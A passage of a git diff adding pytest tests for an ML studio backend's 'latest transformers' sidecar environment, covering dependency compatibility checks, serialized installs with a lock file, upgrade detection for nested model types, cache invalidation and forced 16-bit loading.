+            from importlib.metadata import PackageNotFoundError
+
+            key = name.lower().replace("_", "-")
+            if key not in installed:
+                raise PackageNotFoundError(name)
+            return installed[key]
+
+        monkeypatch.setattr("importlib.metadata.version", _ver)
+
+    def test_satisfied_env_needs_nothing(self, monkeypatch):
+        self._patch_env(
+            monkeypatch,
+            ["tokenizers<=0.23.0,>=0.22.0", "safetensors>=0.8.0", "numpy>=1.17"],
+            {"tokenizers": "0.22.2", "safetensors": "0.8.0", "numpy": "2.4.4"},
+        )
+        extras, blockers = tl.compat_plan("5.13.0")
+        assert extras == () and blockers == []
+
+    def test_unsatisfied_shadowable_dep_pinned(self, monkeypatch):
+        self._patch_env(
+            monkeypatch,
+            ["tokenizers>=0.24.0"],
+            {"tokenizers": "0.22.2"},
+        )
+        monkeypatch.setattr(tl, "_resolve_exact_version", lambda name, spec: "0.24.1")
+        extras, blockers = tl.compat_plan("5.99.0")
+        assert extras == ("tokenizers==0.24.1",) and blockers == []
+
+    def test_unsatisfied_non_shadowable_dep_blocks(self, monkeypatch):
+        self._patch_env(monkeypatch, ["numpy>=99.0"], {"numpy": "2.4.4"})
+        extras, blockers = tl.compat_plan("5.99.0")
+        assert extras == () and blockers == ["numpy>=99.0"]
+
+    def test_cli_only_dep_ignored(self, monkeypatch):
+        self._patch_env(monkeypatch, ["typer"], {})
+        extras, blockers = tl.compat_plan("5.13.0")
+        assert extras == () and blockers == []
+
+    def test_sidecar_provided_hub_checked_against_recipe_pin(self, monkeypatch):
+        self._patch_env(monkeypatch, ["huggingface-hub<2.0,>=1.5.0"], {"huggingface-hub": "0.36.2"})
+        extras, blockers = tl.compat_plan("5.13.0")
+        assert extras == () and blockers == []  # 1.8.0 sidecar pin satisfies it
+
+    def test_sidecar_provided_hub_out_of_range_blocks(self, monkeypatch):
+        self._patch_env(monkeypatch, ["huggingface-hub>=2.1"], {"huggingface-hub": "0.36.2"})
+        extras, blockers = tl.compat_plan("5.99.0")
+        assert blockers == ["huggingface-hub>=2.1"]
+
+    def test_unfetchable_requires_dist_blocks_install(self, monkeypatch):
+        # Proceeding unverified could pin a sidecar whose imports crash workers.
+        monkeypatch.setattr(tl, "_fetch_requires_dist", lambda v: None)
+        extras, blockers = tl.compat_plan("5.13.0")
+        assert extras == () and len(blockers) == 1 and "retry" in blockers[0]
+
+    def test_extra_marker_requirements_skipped(self, monkeypatch):
+        self._patch_env(
+            monkeypatch,
+            ['torch>=99.0; extra == "torch"', 'pytest; python_version < "3.0"'],
+            {},
+        )
+        extras, blockers = tl.compat_plan("5.13.0")
+        assert extras == () and blockers == []
+
+
+def test_get_snapshot_dedupes_concurrent_fetch(monkeypatch):
+    """While one thread is fetching, other callers return None instead of stacking fetches."""
+    with tl._lock:
+        tl._is_fetching = True
+    calls = {"n": 0}
+
+    def boom():
+        calls["n"] += 1
+        raise AssertionError("must not fetch while another fetch is in flight")
+
+    monkeypatch.setattr(tl, "_refresh_snapshot", boom)
+    assert tl._get_snapshot() is None
+    assert calls["n"] == 0
+    tl.clear_caches()
+
+
+def test_install_serialized():
+    """A second install call while one is in progress gets a structured refusal."""
+    from utils.transformers_version import try_begin_sidecar_swap
+
+    assert try_begin_sidecar_swap() is True
+    out = tl.install_latest_transformers("5.13.0")
+    assert out["success"] is False
+    assert "already in progress" in out["message"]
+    tl.clear_caches()
+
+
+def test_install_in_progress_reflects_reservation():
+    """is_install_in_progress mirrors the shared sidecar swap reservation, so a
+    lazy repair (which takes the same reservation) also blocks worker starts."""
+    from utils.transformers_version import end_sidecar_swap, try_begin_sidecar_swap
+
+    assert tl.is_install_in_progress() is False
+    assert try_begin_sidecar_swap() is True
+    try:
+        assert tl.is_install_in_progress() is True
+    finally:
+        end_sidecar_swap()
+    assert tl.is_install_in_progress() is False
+
+
+def test_upgrade_check_sees_nested_model_types(monkeypatch):
+    """A supported wrapper with a brand-new nested backbone must still signal."""
+    cfg = {
+        "model_type": "llava",  # in every installed overlay
+        "text_config": {"model_type": "zz_brand_new_llm"},
+    }
+    monkeypatch.setattr(tl, "_load_config_json", lambda *a, **k: cfg)
+    monkeypatch.setattr(
+        tl,
+        "latest_transformers_supports",
+        lambda mt: {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": mt == "zz_brand_new_llm",
+            "supported_in_main": mt == "zz_brand_new_llm",
+        },
+    )
+    out = tl.check_upgrade_for_model("some-org/wrapped-new-backbone")
+    assert out is not None
+    assert out["model_type"] == "zz_brand_new_llm"
+
+
+def test_upgrade_check_ignores_nested_known_types(monkeypatch):
+    """All nested types known to installed overlays -> no signal, no remote call."""
+    cfg = {
+        "model_type": "llava",
+        "text_config": {"model_type": "llama"},
+        "vision_config": {"model_type": "clip_vision_model"},
+    }
+    monkeypatch.setattr(tl, "_load_config_json", lambda *a, **k: cfg)
+    calls = []
+    monkeypatch.setattr(tl, "latest_transformers_supports", lambda mt: calls.append(mt) or None)
+    assert tl.check_upgrade_for_model("some-org/normal-vlm") is None
+    assert calls == []
+
+
+def test_upgrade_check_requires_primary_supported(monkeypatch):
+    """Latest supporting only a nested type must not prompt: routing still
+    cannot load the primary, so the install would not fix the model."""
+    cfg = {
+        "model_type": "zz_new_wrapper",
+        "text_config": {"model_type": "zz_new_llm"},
+    }
+    monkeypatch.setattr(tl, "_load_config_json", lambda *a, **k: cfg)
+    monkeypatch.setattr(
+        tl,
+        "latest_transformers_supports",
+        lambda mt: {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": mt == "zz_new_llm",
+            "supported_in_main": mt == "zz_new_llm",
+        },
+    )
+    assert tl.check_upgrade_for_model("some-org/half-supported") is None
+
+
+def test_upgrade_check_requires_every_missing_type(monkeypatch):
+    """Primary supported but a nested backbone missing from latest -> no prompt
+    (CONFIG_MAPPING would still fail on the sub-config); all supported -> signal
+    carries the primary type."""
+    cfg = {
+        "model_type": "zz_new_wrapper",
+        "text_config": {"model_type": "zz_new_llm"},
+    }
+    monkeypatch.setattr(tl, "_load_config_json", lambda *a, **k: cfg)
+    monkeypatch.setattr(
+        tl,
+        "latest_transformers_supports",
+        lambda mt: {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": mt == "zz_new_wrapper",
+            "supported_in_main": mt == "zz_new_wrapper",
+        },
+    )
+    assert tl.check_upgrade_for_model("some-org/half-supported") is None
+
+    monkeypatch.setattr(
+        tl,
+        "latest_transformers_supports",
+        lambda mt: {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": True,
+            "supported_in_main": True,
+        },
+    )
+    out = tl.check_upgrade_for_model("some-org/fully-supported")
+    assert out is not None and out["model_type"] == "zz_new_wrapper"
+
+
+def test_install_success_invalidates_capability_caches(monkeypatch):
+    """A successful install must drop tier probes, the latest mapping, and the
+    vision-detection cache so the new sidecar takes effect without a restart."""
+    from utils.models import model_config as mc
+
+    monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+    monkeypatch.setattr(tl, "compat_plan", lambda v: ((), []))
+    monkeypatch.setattr(
+        tl, "ensure_latest_transformers_venv", lambda v, extra_packages = (), before_swap = None: True
+    )
+    monkeypatch.setattr(tl, "latest_venv_pinned_version", lambda: "5.13.0")
+
+    tv._probe_tier_cache["stale/model"] = "default"
+    tv._config_mapping_cache["latest"] = frozenset({"stale_type"})
+    tv._config_mapping_cache["default"] = frozenset({"llama"})
+    mc._vision_detection_cache[("stale/model", None, False)] = False
+
+    result = install_latest_transformers("5.13.0")
+    assert result["success"] is True
+    assert tv._probe_tier_cache == {}
+    assert "latest" not in tv._config_mapping_cache
+    assert tv._config_mapping_cache.get("default") == frozenset({"llama"})  # untouched
+    assert mc._vision_detection_cache == {}
+
+    tv._probe_tier_cache.clear()
+    tv._config_mapping_cache.clear()
+    tl.clear_caches()
+
+
+def test_vision_subprocess_unions_sidecar_registry():
+    """The embedded vision-check script must extend the inlined parent sets with
+    the ACTIVE sidecar's registry so sidecar-only architectures classify."""
+    from utils.models import model_config as mc
+
+    script = mc._VISION_CHECK_SCRIPT
+    ast.parse(script)
+    stub_registry = {
+        "MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES": {
+            "zz_sidecar_vlm": "ZzSidecarForConditionalGeneration"
+        },
+    }
+    ns = {}
+    # Exec only the registry-union block against a stubbed sidecar registry.
+    body = script.split("from transformers import AutoConfig", 1)[1]
+    body = body.split("kwargs = {", 1)[0]
+    helpers = script.split("sys.path.insert(0, backend_dir)", 1)[1]
+    helpers = helpers.split("try:", 1)[0]
+    exec(helpers, ns)
+
+    class _FakeMa:
+        MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES = stub_registry[
+            "MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES"
+        ]
+
+    import sys as _sys
+    import types as _types
+
+    fake_pkg = _types.ModuleType("transformers.models.auto")
+    fake_pkg.modeling_auto = _FakeMa
+    saved = {
+        k: _sys.modules.get(k)
+        for k in ("transformers.models.auto", "transformers.models.auto.modeling_auto")
+    }
+    _sys.modules["transformers.models.auto"] = fake_pkg
+    _sys.modules["transformers.models.auto.modeling_auto"] = _FakeMa
+    try:
+        exec(textwrap.dedent(body), ns)
+    finally:
+        for k, v in saved.items():
+            if v is None:
+                _sys.modules.pop(k, None)
+            else:
+                _sys.modules[k] = v
+
+    assert "zz_sidecar_vlm" in ns["_VLM_MODEL_TYPES"]
+    assert "ZzSidecarForConditionalGeneration" in ns["_VLM_CLASS_NAMES"]
+
+    class _Cfg:
+        architectures = ["ZzSidecarForConditionalGeneration"]
+        model_type = "zz_sidecar_vlm"
+
+    assert ns["_is_vlm"](_Cfg()) is True
+
+
+def test_upgrade_check_mixed_pypi_main_reports_dev_only(monkeypatch):
+    """Primary in the PyPI release but a nested type only on main: no install
+    may be offered (CONFIG_MAPPING would fail on the nested sub-config), so the
+    aggregate must read as main-only."""
+    cfg = {
+        "model_type": "zz_new_wrapper",
+        "text_config": {"model_type": "zz_new_llm"},
+    }
+    monkeypatch.setattr(tl, "_load_config_json", lambda *a, **k: cfg)
+    monkeypatch.setattr(
+        tl,
+        "latest_transformers_supports",
+        lambda mt: {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": mt == "zz_new_wrapper",
+            "supported_in_main": True,
+        },
+    )
+    out = tl.check_upgrade_for_model("some-org/mixed-support")
+    assert out is not None
+    assert out["model_type"] == "zz_new_wrapper"
+    assert out["supported_in_pypi"] is False  # no install offered
+    assert out["supported_in_main"] is True
+
+
+def test_install_endpoint_not_mounted_on_v1():
+    """The consented pip-install endpoint is an Unsloth admin action; it must live
+    on studio_router (kept off the OpenAI-compatible /v1 mount), not router."""
+    from routes import inference as ri
+
+    path = "/install-latest-transformers"
+    assert path in [r.path for r in ri.studio_router.routes]
+    assert path not in [r.path for r in ri.router.routes]
+
+
+def test_kill_switch_removes_provisioned_latest_from_routing(tmp_path, monkeypatch):
+    """UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS must roll back a provisioned latest
+    sidecar: no overlay mapping, no probe participation, no file deletion needed."""
+    venv_dir = tmp_path / ".venv_t5_latest"
+    (venv_dir / "transformers").mkdir(parents = True)
+    (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+    monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+
+    assert tv._overlay_transformers_dir("latest") == str(venv_dir / "transformers")
+    assert tv._probe_tier_order() == tv._PROBE_TIER_ORDER + ("latest",)
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+    tv._config_mapping_cache.pop("latest", None)
+    assert tv._overlay_transformers_dir("latest") is None
+    assert tv._probe_tier_order() == tv._PROBE_TIER_ORDER
+    tv._config_mapping_cache.pop("latest", None)
+
+
+def test_repair_failure_preserves_pin_and_live_dir(tmp_path, monkeypatch):
+    """A failed lazy repair must not delete the incomplete-but-pinned live
+    sidecar: the pin survives so a later attempt can still repair it."""
+    venv_dir = tmp_path / ".venv_t5_latest"
+    venv_dir.mkdir()
+    (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+    (venv_dir / "partial_file").write_text("x")
+    monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+    monkeypatch.setattr(tv, "_venv_dir_is_valid", lambda *a: False)
+    monkeypatch.setattr(tv, "_ensure_venv_dir", lambda *a, **k: False)
+
+    from utils.transformers_version import latest_venv_pinned_version
+
+    assert tv._ensure_venv_t5_latest_exists() is False
+    assert venv_dir.is_dir()
+    assert (venv_dir / "partial_file").exists()
+    assert latest_venv_pinned_version() == "5.13.0"
+    assert not (tmp_path / ".venv_t5_latest.staging").exists()
+
+
+def test_failed_staging_install_removes_staging_dir(tmp_path, monkeypatch):
+    """A pip failure inside _ensure_venv_dir returns False without raising, so
+    the except cleanup never runs; the partial staging dir must still go."""
+    venv_dir = tmp_path / ".venv_t5_latest"
+    monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+
+    def _fake_ensure(dir_, packages, label):
+        Path(dir_).mkdir(parents = True, exist_ok = True)
+        (Path(dir_) / "partial").write_text("x")
+        return False
+
+    monkeypatch.setattr(tv, "_ensure_venv_dir", _fake_ensure)
+    assert ensure_latest_transformers_venv("5.13.0") is False
+    assert not Path(str(venv_dir) + ".staging").exists()
diff --git a/studio/backend/tests/test_transformers_version.py b/studio/backend/tests/test_transformers_version.py
index b9b5abb9e5..acb2ec449b 100644
--- a/studio/backend/tests/test_transformers_version.py
+++ b/studio/backend/tests/test_transformers_version.py
@@ -160,6 +160,25 @@ class TestResolveBaseModel:
 class TestRemoteLoraBase:
     """_remote_lora_base reads a remote adapter's base from its Hub adapter_config.json."""
 
+    @pytest.fixture(autouse = True)
+    def _selected_cache_follows_env(self, monkeypatch):
+        # The cache helpers now read the selected cache (get_hf_cache_paths),
+        # which snapshots env at import; make it follow the HF_HUB_CACHE these
+        # tests set so they keep driving the lookup via env.
+        monkeypatch.setattr(
+            "utils.transformers_version.get_hf_cache_paths",
+            lambda: _types.SimpleNamespace(
+                hub_cache = Path(
+                    os.environ.get("HF_HUB_CACHE")
+                    or os.environ.get("HUGGINGFACE_HUB_CACHE")
+                    or os.path.join(
+                        os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"),
+                        "hub",
+                    )
+                )
+            ),
+        )
+
     @staticmethod
     def _resp(cfg: dict):
         class _Resp:
@@ -645,6 +664,24 @@ def _hf_response(cfg: dict):
 class TestConfigJsonHfCacheFallback:
     """HF hub cache is consulted only offline or after a failed fetch (never stale online)."""
 
+    @pytest.fixture(autouse = True)
+    def _selected_cache_follows_env(self, monkeypatch):
+        # As above: route the selected-cache lookup through the HF_HUB_CACHE env
+        # these tests set, since get_hf_cache_paths snapshots env at import.
+        monkeypatch.setattr(
+            "utils.transformers_version.get_hf_cache_paths",
+            lambda: _types.SimpleNamespace(
+                hub_cache = Path(
+                    os.environ.get("HF_HUB_CACHE")
+                    or os.environ.get("HUGGINGFACE_HUB_CACHE")
+                    or os.path.join(
+                        os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"),
+                        "hub",
+                    )
+                )
+            ),
+        )
+
     def setup_method(self):
         _config_json_cache.clear()
 
@@ -2550,3 +2587,649 @@ class TestHfEndpointUnreachable:
         t0 = time.time()
         result = hf_endpoint_unreachable(timeout = 2)
         assert result is True and (time.time() - t0) < 6.0
+
+
+class TestLatestTierActiveFor:
+    """latest_tier_active_for: the 16-bit guard for the consented latest sidecar."""
+
+    @staticmethod
+    def _pin(
+        monkeypatch,
+        tv,
+        version = "5.13.1",
+    ):
+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: version)
+        monkeypatch.setattr(tv, "_remote_lora_base", lambda name, hf_token = None: None)
+
+    def test_true_when_tier_latest(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        self._pin(monkeypatch, tv)
+        monkeypatch.setattr(tv, "get_transformers_tier", lambda *a, **k: "latest")
+        assert tv.latest_tier_active_for("Zyphra/ZAYA1-8B") is True
+
+    def test_false_for_fixed_tiers(self, monkeypatch):
+        import utils.transformers_version as tv
+        self._pin(monkeypatch, tv)
+        for tier in ("default", "530", "550", "510"):
+            monkeypatch.setattr(tv, "get_transformers_tier", lambda *a, _t = tier, **k: _t)
+            assert tv.latest_tier_active_for("some/model") is False
+
+    def test_false_without_pin_and_no_resolution(self, monkeypatch):
+        """No sidecar pin returns False before any tier or network resolution."""
+        import utils.transformers_version as tv
+
+        def _boom(*a, **k):
+            raise AssertionError("must not resolve without a pin")
+
+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: None)
+        monkeypatch.setattr(tv, "_remote_lora_base", _boom)
+        monkeypatch.setattr(tv, "get_transformers_tier", _boom)
+        assert tv.latest_tier_active_for("Zyphra/ZAYA1-8B") is False
+
+    def test_never_raises(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        def _boom(*a, **k):
+            raise RuntimeError("tier resolution exploded")
+
+        self._pin(monkeypatch, tv)
+        monkeypatch.setattr(tv, "get_transformers_tier", _boom)
+        assert tv.latest_tier_active_for("some/model") is False
+
+    def test_remote_lora_base_is_resolved(self, monkeypatch):
+        """A remote adapter is judged by its base model, like worker activation."""
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: "5.13.1")
+        monkeypatch.setattr(tv, "_remote_lora_base", lambda name, hf_token = None: "Zyphra/ZAYA1-8B")
+        tiers = {"Zyphra/ZAYA1-8B": "latest"}
+        monkeypatch.setattr(
+            tv, "get_transformers_tier", lambda name, *a, **k: tiers.get(name, "default")
+        )
+        assert tv.latest_tier_active_for("someuser/zaya-lora") is True
+
+    def test_local_checkpoint_config_upgrades(self, monkeypatch, tmp_path):
+        """An adapter dir with its own config.json merges tiers like activation does."""
+        import utils.transformers_version as tv
+
+        adapter = tmp_path / "ckpt"
+        adapter.mkdir()
+        (adapter / "adapter_config.json").write_text("{}")
+        (adapter / "adapter_model.safetensors").write_text("x")
+        (adapter / "config.json").write_text("{}")
+        self._pin(monkeypatch, tv)
+        monkeypatch.setattr(tv, "_resolve_base_model", lambda name: "base/model")
+        tiers = {"base/model": "default", str(adapter): "latest"}
+        monkeypatch.setattr(
+            tv, "get_transformers_tier", lambda name, *a, **k: tiers.get(name, "default")
+        )
+        assert tv.latest_tier_active_for(str(adapter)) is True
+
+
+class TestLatestTierForces16Bit:
+    """The inference worker and load route refuse bnb 4-bit on the latest sidecar."""
+
+    def _read(self, rel):
+        backend_dir = Path(__file__).resolve().parent.parent
+        return (backend_dir / rel).read_text()
+
+    def test_worker_guard_present(self):
+        src = self._read("core/inference/worker.py")
+        assert "latest_tier_active_for" in src, (
+            "core/inference/worker.py must force load_in_4bit=False when "
+            "latest_tier_active_for(model) is true: transformers' grouped-MoE "
+            "kernels crash on bnb-quantized expert weights for brand-new "
+            "architectures."
+        )
+
+    def test_route_guard_present(self):
+        src = self._read("routes/inference.py")
+        assert "latest_tier_active_for" in src, (
+            "routes/inference.py must size the VRAM guard with the same 16-bit "
+            "flip the worker applies for latest-sidecar models."
+        )
+
+    def test_validate_route_mirrors_16bit_flip(self):
+        # Without the same flip, /validate sizes 4-bit and /load then 409s.
+        src = self._read("routes/inference.py")
+        body = src.split("async def validate_model", 1)[1].split("\nasync def ", 1)[0]
+        assert "latest_tier_active_for" in body, (
+            "validate_model must apply the latest-sidecar 16-bit flip before "
+            "_guard_chat_load_against_training so /validate and /load agree."
+        )
+        # First-time loads have no pin yet, so an installable upgrade must also size 16-bit.
+        assert body.index("check_upgrade_for_model") < body.index(
+            "_guard_chat_load_against_training"
+        ), "the upgrade check must run before the training guard"
+        assert (
+            "supported_in_pypi" in body.split("_guard_chat_load_against_training")[0]
+        ), "an installable upgrade must force 16-bit sizing for the guard"
+
+    def test_validate_offered_upgrade_preserves_custom_code_4bit(self):
+        # A merely-offered (not installed) upgrade must NOT force 16-bit sizing when the
+        # model has a custom-code (auto_map) fallback: /load loads it 4-bit without the
+        # install, and the install route refuses during active training, so 16-bit sizing
+        # here would 409 the only viable 4-bit path.
+        src = self._read("routes/inference.py")
+        body = src.split("async def validate_model", 1)[1].split("\nasync def ", 1)[0]
+        flip = body.split("Mirror /load's latest-sidecar 16-bit flip", 1)[1].split(
+            "_guard_chat_load_against_training", 1
+        )[0]
+        assert "not requires_trust_remote_code" in flip, (
+            "the offered-upgrade 16-bit flip must be gated on the absence of a custom-code "
+            "fallback so /validate does not 409 a 4-bit load /load would allow"
+        )
+        # requires_trust_remote_code must be resolved before the flip consumes it.
+        assert body.index("requires_trust_remote_code = any(") < body.index(
+            "not requires_trust_remote_code"
+        )
+
+    def test_install_route_guards_active_latest_workers(self):
+        # Stage-and-swap replaces .venv_t5_latest in place, so a live worker on the
+        # old sidecar would lazy-import files from the new version.
+        src = self._read("routes/inference.py")
+        body = src.split("async def install_latest_transformers_route", 1)[1].split(
+            "\nasync def ", 1
+        )[0]
+        assert (
+            "is_training_active" in body
+            and "is_export_active" in body
+            and "inference_lifecycle_gate" in body
+        ), (
+            "install_latest_transformers_route must refuse while training or export "
+            "runs, and hold the lifecycle gate while unloading the chat model and "
+            "swapping the sidecar."
+        )
+        # The unload (via before_swap so failed installs keep the model), the export-worker
+        # teardown, and the install must all sit INSIDE the gate so no /load interleaves.
+        assert "unload_model(active)" in body
+        assert "cleanup_memory()" in body
+        # Export teardown precedes the chat unload so its failure aborts with the model still loaded.
+        assert body.index("cleanup_memory()") < body.index("unload_model(active)")
+        assert "install_latest_transformers(" in body and "_unload_before_swap" in body
+        # The gate must be owned by the shielded task, not the request coroutine: a cancelled
+        # POST unwinding an async-with would release the only guard /load honors mid-install.
+        gated_task = body.split("async def _gated_install", 1)[1]
+        assert "inference_lifecycle_gate():" in gated_task
+        assert "asyncio.to_thread(_run_install)" in gated_task
+        # The reservation must be taken BEFORE the (awaitable) gate wait, or a
+        # training/export start could slip in while this request queues on the gate.
+        assert body.index("try_begin_sidecar_swap()") < body.index(
+            "inference_lifecycle_gate():"
+        ), "the swap reservation must be raised before waiting on the lifecycle gate"
+        # A failed teardown must abort the swap (raise), not fall through to it.
+        assert body.count("raise RuntimeError") >= 3, (
+            "export, chat-unload, and idle-worker teardown failures must raise so "
+            "the staged install never swaps under a live worker"
+        )
+        # The installer thread owns (and releases) the reservation, shielded from
+        # request cancellation, so a cancelled POST cannot unlock a live swap.
+        assert "asyncio.shield" in body and "end_sidecar_swap()" in body
+        # In-flight generation streams predate the gate; the route refuses rather than kill them
+        # via the before_swap unload. The count is rechecked UNDER the gate, since a wait on a
+        # long /load outlasts the pre-gate fast path and streams take this same gate.
+        assert "other_inference_request_count" in body
+        gated_task = body.split("async def _gated_install", 1)[1]
+        assert "other_inference_request_count" in gated_task
+
+    def test_start_routes_refuse_during_install(self):
+        # A worker spawned mid-swap could activate a half-replaced sidecar.
+        training = self._read("routes/training.py")
+        start = training.split("async def start_training", 1)[1].split("\nasync def ", 1)[0]
+        assert (
+            "is_install_in_progress" in start
+        ), "training /start must refuse while a transformers install is in progress"
+        export = self._read("routes/export.py")
+        helper = export.split("def _ensure_export_supported", 1)[1].split("\ndef ", 1)[0]
+        assert (
+            "is_install_in_progress" in helper
+        ), "mutating export routes must refuse while a transformers install is in progress"
+
+    def test_spawn_sites_recheck_reservation(self):
+        # The route-level guards are one-shot; validation between them and the
+        # actual spawn can outlast an install's start, so the spawn itself rechecks.
+        training = self._read("core/training/training.py")
+        assert (
+            training.count("sidecar_swap_in_progress()") >= 2
+        ), "both training spawn sites must recheck the sidecar swap reservation"
+        export = self._read("core/export/orchestrator.py")
+        spawn = export.split("def _spawn_subprocess", 1)[1].split("\n    def ", 1)[0]
+        assert (
+            "sidecar_swap_kind()" in spawn
+        ), "the export subprocess spawn must recheck the sidecar swap reservation"
+        # Training marks the spawn active BEFORE its recheck, so either side sees the other:
+        # is_training_active covers the window between proc.start() and the _proc assignment.
+        assert training.index("self._spawn_in_progress = True") < training.index(
+            "if sidecar_swap_in_progress():"
+        )
+        active = training.split("def is_training_active", 1)[1].split("\n    def ", 1)[0]
+        assert "_spawn_in_progress" in active
+        # Export load-checkpoint refuses BEFORE tearing down the old worker, so a
+        # lost race against an install keeps the loaded checkpoint (no bare 500).
+        loadck = export.split("def load_checkpoint", 1)[1].split("\n    def ", 1)[0]
+        assert loadck.index("sidecar_swap_in_progress()") < loadck.index("_shutdown_subprocess()")
+        # The training handshake precedes the VRAM-freeing before_spawn hook, so
+        # losing the race never tears down chat/export for a run that won't spawn.
+        assert training.index("self._spawn_in_progress = True") < training.index("before_spawn()")
+        # The spawn-time export check is op-aware for installs (the install side
+        # aborts on is_export_active) but always refuses for repairs, which have
+        # no such abort and can be rebuilding the sidecar right now.
+        assert (
+            '_swap_kind == "repair" or (_swap_kind is not None and not self._export_active)'
+            in spawn
+        )
+
+
+class TestSidecarSwapReservation:
+    """The lazy repair takes the same reservation the install route and worker starts use."""
+
+    def _repair_setup(self, monkeypatch, tmp_path):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+        monkeypatch.setattr(
+            tv,
+            "_latest_pin_data",
+            lambda: {
+                "version": "5.99.0",
+                "packages": ["transformers==5.99.0"],
+            },
+        )
+        monkeypatch.setattr(tv, "_venv_dir_is_valid", lambda d, p: False)
+        monkeypatch.setattr(tv, "_env_offline", lambda: False)
+        return tv
+
+    def test_repair_holds_reservation_during_swap(self, monkeypatch, tmp_path):
+        tv = self._repair_setup(monkeypatch, tmp_path)
+        seen = {}
+
+        def _fake_swap(
+            version,
+            packages,
+            before_swap = None,
+        ):
+            seen["active_during_swap"] = tv.sidecar_swap_in_progress()
+            return True
+
+        monkeypatch.setattr(tv, "_stage_and_swap_latest_venv", _fake_swap)
+        assert tv._ensure_venv_t5_latest_exists() is True
+        assert seen["active_during_swap"] is True
+        assert tv.sidecar_swap_in_progress() is False
+
+    def test_foreign_process_lock_file_visible(self, monkeypatch, tmp_path):
+        """A repair in a LIVE worker subprocess is seen (via the lock file) by this
+        process, and its lock is never broken while the owner is alive."""
+        import os
+        import time
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+        lock = tv._swap_lock_path()
+        lock.parent.mkdir(parents = True, exist_ok = True)
+        # A live owner (this process): visible and never reclaimed, even once aged past
+        # the cutoff -- a slow but live pip install must keep its lock.
+        lock.write_text('{"pid": %d}' % os.getpid())
+        assert tv.sidecar_swap_in_progress() is True
+        assert tv.try_begin_sidecar_swap() is False
+        old_ts = time.time() - 3 * 60 * 60
+        os.utime(lock, (old_ts, old_ts))
+        assert tv.sidecar_swap_in_progress() is True
+        assert tv.try_begin_sidecar_swap() is False
+
+    def test_dead_owner_lock_reclaimed_promptly(self, monkeypatch, tmp_path):
+        """A fresh lock whose recorded owner is dead is reclaimed at once, not after the
+        long cutoff: a crash mid-install must not wedge loads/training/export for hours."""
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+        lock = tv._swap_lock_path()
+        lock.parent.mkdir(parents = True, exist_ok = True)
+        # 999999 is not a live PID: a fresh dead-owner lock is immediately stale.
+        lock.write_text('{"pid": 999999, "kind": "install"}')
+        assert tv._pid_alive(999999) is False
+        assert tv.sidecar_swap_in_progress() is False
+        assert tv.try_begin_sidecar_swap() is True
+        try:
+            assert lock.is_file()
+        finally:
+            tv.end_sidecar_swap()
+        assert not lock.exists()
+
+    def test_unreadable_pid_lock_uses_age_cutoff(self, monkeypatch, tmp_path):
+        """A lock with no readable owner PID (mid create-before-write, or corrupt) is not
+        reclaimed while fresh -- only after the long cutoff -- so a lock a live owner just
+        created is not stolen before its PID lands."""
+        import os
+        import time
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / "venv_t5_latest"))
+        lock = tv._swap_lock_path()
+        lock.parent.mkdir(parents = True, exist_ok = True)
+        lock.write_text("")  # created but metadata not yet written
+        assert tv.sidecar_swap_in_progress() is True
+        old_ts = time.time() - (tv._SWAP_LOCK_STALE_SECS + 60)
+        os.utime(lock, (old_ts, old_ts))
+        assert tv.sidecar_swap_in_progress() is False
+
+    def test_repair_refused_while_install_holds_reservation(self, monkeypatch, tmp_path):
+        tv = self._repair_setup(monkeypatch, tmp_path)
+
+        def _must_not_run(*a, **k):
+            raise AssertionError("repair must not swap while an install is in progress")
+
+        monkeypatch.setattr(tv, "_stage_and_swap_latest_venv", _must_not_run)
+        assert tv.try_begin_sidecar_swap() is True
+        try:
+            assert tv._ensure_venv_t5_latest_exists() is False
+        finally:
+            tv.end_sidecar_swap()
+
+
+class TestRecoverStrandedSidecar:
+    """A swap whose activation rename AND rollback both fail strands the previous sidecar
+    at .old with no live dir (its pin marker went with it). Reading the pin self-heals it,
+    but never while a swap legitimately holds the reservation."""
+
+    def _setup(self, monkeypatch, tmp_path):
+        import utils.transformers_version as tv
+
+        live = str(tmp_path / "venv_t5_latest")
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", live)
+        # Stranded state: live gone, previous sidecar (with its marker) sits at .old.
+        retired = Path(live + ".old")
+        retired.mkdir(parents = True)
+        (retired / tv._LATEST_PIN_MARKER).write_text(
+            '{"version": "5.99.0", "packages": ["transformers==5.99.0"]}'
+        )
+        return tv, Path(live), retired
+
+    def test_stranded_old_recovered_on_pin_read(self, monkeypatch, tmp_path):
+        tv, live, retired = self._setup(monkeypatch, tmp_path)
+        data = tv._latest_pin_data()
+        assert live.is_dir()
